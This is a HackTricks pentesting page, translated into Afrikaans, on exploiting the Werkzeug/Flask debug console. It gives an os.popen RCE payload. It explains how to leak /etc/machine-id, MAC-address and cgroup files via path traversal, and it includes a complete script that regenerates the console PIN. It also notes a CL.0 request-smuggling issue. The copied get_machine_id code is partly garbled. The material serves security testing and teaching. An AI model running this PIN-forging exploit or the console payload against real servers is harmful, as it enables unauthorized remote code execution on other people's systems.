Werkzeug / Flask Debug

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & pentesting. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.

Konsol RCE

As foutopsporing aktief is, kan jy probeer om toegang te verkry tot /console en RCE te verkry.

__import__('os').popen('whoami').read();

Daar is ook verskeie uitbuite op die internet soos hierdie of een in metasploit.

Pin Beskerm - Pad Traversal

In sommige gevalle gaan die /console eindpunt beskerm word deur 'n pin. As jy 'n lêer traversal kwesbaarheid het, kan jy al die nodige inligting lek om daardie pin te genereer.

Werkzeug Console PIN Uitbuiting

Dwing 'n foutbladsy in die app af om dit te sien:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

'n Berig rakende die "konsole gesluit" scenario word aangetref wanneer daar gepoog word om toegang tot Werkzeug se foutopsporingskoppelvlak te verkry, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN uit te buit deur die PIN-genereringsalgoritme in Werkzeug se foutopsporingsinitsialisasie-lêer (__init__.py) te analiseer. Die PIN-genereringsmeganisme kan bestudeer word vanuit die Werkzeug bronkode-opgaarplek, alhoewel dit aanbeveel word om die werklike bedienerkode te bekom deur 'n lêertraversie-kwesbaarheid weens potensiële weergawe-afwykings.

Om die konsole PIN uit te buit, word twee stelle veranderlikes, probably_public_bits en private_bits, benodig:

probably_public_bits

  • username: Verwys na die gebruiker wat die Flask-sessie geïnisieer het.

  • modname: Tipies aangedui as flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Los gewoonlik op na Flask.

  • getattr(mod, '__file__', None): Verteenwoordig die volledige pad na app.py binne die Flask-gids (byvoorbeeld, /usr/local/lib/python3.5/dist-packages/flask/app.py). As app.py nie van toepassing is nie, probeer app.pyc.

private_bits

  • uuid.getnode(): Haal die MAC-adres van die huidige masjien op, met str(uuid.getnode()) wat dit na 'n desimale formaat omskakel.

  • Om die bediener se MAC-adres te bepaal, moet mens die aktiewe netwerkinterface wat deur die app gebruik word identifiseer (byvoorbeeld, ens3). In gevalle van onsekerheid, lek /proc/net/arp om die toestel-ID te vind, en dan ekstraheer die MAC-adres uit /sys/class/net/<toestel id>/address.

  • Die omskakeling van 'n heksadesimale MAC-adres na desimaal kan uitgevoer word soos hieronder getoon:

# Voorbeeld MAC-adres: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Kombineer data vanaf /etc/machine-id of /proc/sys/kernel/random/boot_id met die eerste lyn van /proc/self/cgroup na die laaste skuiwingsteken (/).

Kode vir `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Na die versameling van alle nodige data, kan die uitbuitingskrip uitgevoer word om die Werkzeug konsole PIN te genereer. Die krip gebruik die saamgestelde `probably_public_bits` en `private_bits` om 'n hashteken te skep, wat dan verdere verwerking ondergaan om die finale PIN te produseer. Hieronder is die Python-kode om hierdie proses uit te voer:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Hierdie skrip genereer die PIN deur die saamgevoegde bietjies te hash, spesifieke sout (cookiesalt en pinsalt) by te voeg, en die uitset te formateer. Dit is belangrik om daarop te let dat die werklike waardes vir probably_public_bits en private_bits akkuraat verkry moet word vanaf die teikensisteem om te verseker dat die gegenereerde PIN ooreenstem met die een wat deur die Werkzeug-konsole verwag word.

As jy op 'n ou weergawe van Werkzeug is, probeer om die hashing-algoritme na md5 te verander in plaas van sha1.

Werkzeug Unicode-karakters

Soos waargeneem in hierdie probleem, sluit Werkzeug nie 'n versoek met Unicode-karakters in koppe nie. En soos verduidelik in hierdie uiteensetting, kan dit 'n CL.0-versoeksmokkelbaarheid veroorsaak.

Dit is omdat, in Werkzeug, is dit moontlik om sommige Unicode-karakters te stuur en dit sal die bediener breek. Maar, as die HTTP-verbindings geskep is met die kop Connection: keep-alive, sal die liggaam van die versoek nie gelees word nie en die verbindings sal nog oop wees, sodat die liggaam van die versoek as die volgende HTTP-versoek hanteer sal word.

Verwysings

Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat gaan van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat spat, en pret te hê.

Last updated